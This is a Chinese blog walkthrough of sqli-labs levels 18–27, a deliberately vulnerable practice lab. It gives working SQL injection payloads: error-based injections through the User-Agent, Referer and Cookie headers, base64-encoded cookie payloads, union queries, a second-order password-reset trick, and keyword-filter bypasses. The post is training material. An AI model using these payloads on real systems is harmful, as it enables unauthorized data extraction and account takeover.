sql-labs 18-27 非常详细/一看就会/

sql注入,内容挺多,防护手段也多,在实际场景中,如何绕过这些防护手段也是关键问题,但sql注入的思想与方法基本上在前五篇文章中总结完了,这篇文章主要是刷刷题,再练习一下

其实sqlmap挺成熟的,直接使用,而且不用写脚本啥的,很快,但是还是需要理解sql注入原理与手工注入,真正的了解这个漏洞,以应对不同的场景

废话少说

目录

Less-18

Less-19

Less-20

Less-21

Less-22

 Less-23

Less-24

​编辑

Less-25

Less-26

Less-27

​编辑


Less-18

尝试登陆一下

这不就是上篇文章中的user agent方法吗,直接开启postman 

注意是POST方法

 

请求这三个数据

 

这道题明显注入点在User-Agent

 

 输入一个单引号看到报错

看到括号加括号

 一个参数不太够,那就再来一个

刚才测试两个也会报错,三个刚刚好

下面就直接拿表名

 bbb',(select group_concat(table_name)
from information_schema.tables 
where table_schema=database()),'ccc') -- +

哎,这不太对哎,这不是我们想要的结果,它这块显示的就是user agent而不是从数据库出来的数据,但是刚才可以看到错误信息,那么

这道题还是个基于报错的盲注,我们尝试一下

bbb',extractvalue(1,concat('~',
(select group_concat(table_name)
from information_schema.tables 
where table_schema=database()))),'ccc') -- +

出来啦! ,原来如此,后面就很简单啦

Less-19

还是直接dumb登陆一手

这道题变了,变成referer了

不要怕不要怕,postman中试一下 

看到了吗,其实和User Agent 一样的

其他的配置和上一题一样就不说了

试一下aa

出来啦,那就尝试找一下注入点

 常规单引号

 跟上一题一样测

 

 接下来跟上面就一模一样了,基于报错拿结果

Less-20

同上,用Dumb登陆一下

竟然跳转了!

这种题不用想,登陆里面没漏洞 

这道题看上去是要利用一下cookie

不要慌,我们直接postman中尝试一下

输入错误的账号密码是进不去的

我们输入正确的账号密码

 进去了,我们看到了User_agent,尝试了一下,没有找到注入点

接下来目光集中在cookie上

cookie以前提到过,可以用来绕过登陆,我们复制一下这个cookie 然后再写到下面,用错误的密码登陆一下

也可以登陆进去,那我们从cookie中找找注入点

 

 找到了,至于为留下uname是因为这个网页通过判断cookie中是否有uname=来判断是否登陆,应该是这样的,因为删了uname=会直接让你登陆的

接下来其实就是基于报错的注入了

uname=' and updatexml(1,concat('~',database(),'~'),1)-- +

 

后面的流程就不演示了,很简单滴

Less-21

 登陆进去变成

这里是报错了,查了一下解决办法

在页头加上date_default_timezone_set('PRC'); 然后就好啦

这道题就开始有点难了 ,这个uname= RHVtYg== 是 base64加密过的,我也是看了某位大佬的博客幡然醒悟,我在测试注入点的时候疯狂报错

 

解密出结果啊,原来如此

那我们在测试注入点的时候也要把单引号啥的通过base64方式加密

怪不得啥都出不来呢,我甚至尝试了 sleep(1) 

单引号加密后:Jw== 

这才是我们要的结果嘛

试试') -- + 加密后JykgIC0tICs=

啥也没有,看来注入点找到了,这道题还是个基于报错的注入

先构建一下sql语句试试吧

') and extractvalue(1,concat('~',database())) -- +

 加密后:     JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgnficsZGF0YWJhc2UoKSkpIC0tICs=

 可以看到数据库名就出来了,其他的就一样了,先构造语句,再base64加密再写入cookie就ok了

这道题挺有意思的,第一次遇到这种中间过程里加密的,这操作简直要给我整神

刷题也是学习的过程,这就又学到啦

Less-22

") and extractvalue(1,concat('~',database())) -- +

把上一题的单引号换成双引号了,改一下再重新加密,就ok了

 Less-23

哎?又变回一开始的形式了

我们直接一个单引号

前面的警告不用看,应该是我php环境的问题

下面直接出了我们想要的内容了

直接加个注释

?id=1' -- +

报错基本上没变化啊,感觉是不是把注释禁用了

尝试一下,我们注释掉的也就是一个 单引号而已 加个 and 1='1 就ok

看到报错没了

?id=1' and 1=2'  

看来是对了

我们直接来一手union attract

 ?id=-1' union select 1,2,3 and 1='1 

 找到注入点直接常规操作

后面就不演示了,常规操作啦

Less-24

 越来越接近真实网页了

我们还是直接dump一下

这块是重新设置密码

这一关挺无厘头的,我看了大佬的文章,这一关其实是通过注册一个Dumb' -- + 的账号,修改密码的时候就能把Dumb的密码改了,大概是因为这里修改密码的sql语句是

update users set pas='xxx' where name='Dumb' --+'

这也太细了吧,我试了一下是可行的,大家也自己试一下吧,但是没有拿到数据库老感觉不太对

会不会有可能直接把payload写进用户名里

update users set pas='xxx' where name='Dumb' and updatexml(1,concat('~',database()),1) --+'

 不行,那这关就先这样叭

Less-25

这提示真明了:你的OR 和 and 属于我们了

就说明用不了OR和AND了呗

这里针对这种情况有以下解决方案:

大小写互换 or Or rO and And aNd 等等

双写 oorr aandnandd 根据它过滤的特性会变成 or and

或者直接&& ||

等等...

我们常规方法做题一开始是用不到or/and的

id=1'

id=1' -- +

id=-1' union select 1,2,3 -- +

直到拿表名这一步

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =database()),3 -- +

仔细看,它把information 中的or去掉了!!

这里我试了大小写,没啥用,直接双写

infoorrmation

 成功拿到表名,再拿个字段名看看

 id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema =database() aandnandd table_name='users' ),3 -- +

后面就都一样了

Less-26

难度暴增

?id=1'||1='1
?id=1'||extractvalue(1,(concat('~',database())))||1='1
?id=1'||extractvalue(1,(concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables)
where(table_schema=database())))))||1='1
后面都一样了就是看括号容易给自己看瞎了

Less-27

不剩啥了

这道题还行,select没有完全被ban,SelEct可以用,剩下的就跟上一题一样了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
对于安装 SQL-Labs,您可以按照以下步骤进行操作: 1. 首先,您需要确保您的系统上已经安装了 LAMP 或者 WAMP 等 Web 服务器环境,以及 MySQL 数据库。 2. 下载 SQL-Labs 的源代码。您可以从 GitHub 上的项目页面(https://github.com/Audi-1/sqli-labs)下载最新的 ZIP 文件,并将其解压缩到您的 Web 服务器的文档根目录中。 3. 在 MySQL 数据库中创建一个新的数据库,用于存储 SQL-Labs 的数据。您可以使用以下命令在 MySQL 命令行中创建一个新数据库: ``` CREATE DATABASE sqli; ``` 4. 导入 SQL-Labs 的数据库结构。进入到您解压缩的 SQL-Labs 文件夹中,找到 `db-structure.sql` 文件,并使用以下命令导入数据库结构: ``` mysql -u your_username -p sqli < db-structure.sql ``` 替换 `your_username` 为您的 MySQL 用户名,并输入密码进行验证。 5. 配置 SQL-Labs。进入 SQL-Labs 文件夹中的 `db.php` 文件,按照注释中的提示修改数据库连接信息,包括主机名、用户名、密码和数据库名称。 ``` $host = 'localhost'; $user = 'your_username'; $password = 'your_password'; $db = 'sqli'; ``` 6. 启动 Web 服务器,并在浏览器中访问 SQL-Labs。在浏览器中输入 `http://localhost/sql-labs/`,您应该能够看到 SQL-Labs 的登录页面。 现在,您已经成功安装并配置了 SQL-Labs。请确保仔细阅读项目的文档,了解如何正确使用和利用 SQL-Labs 的功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值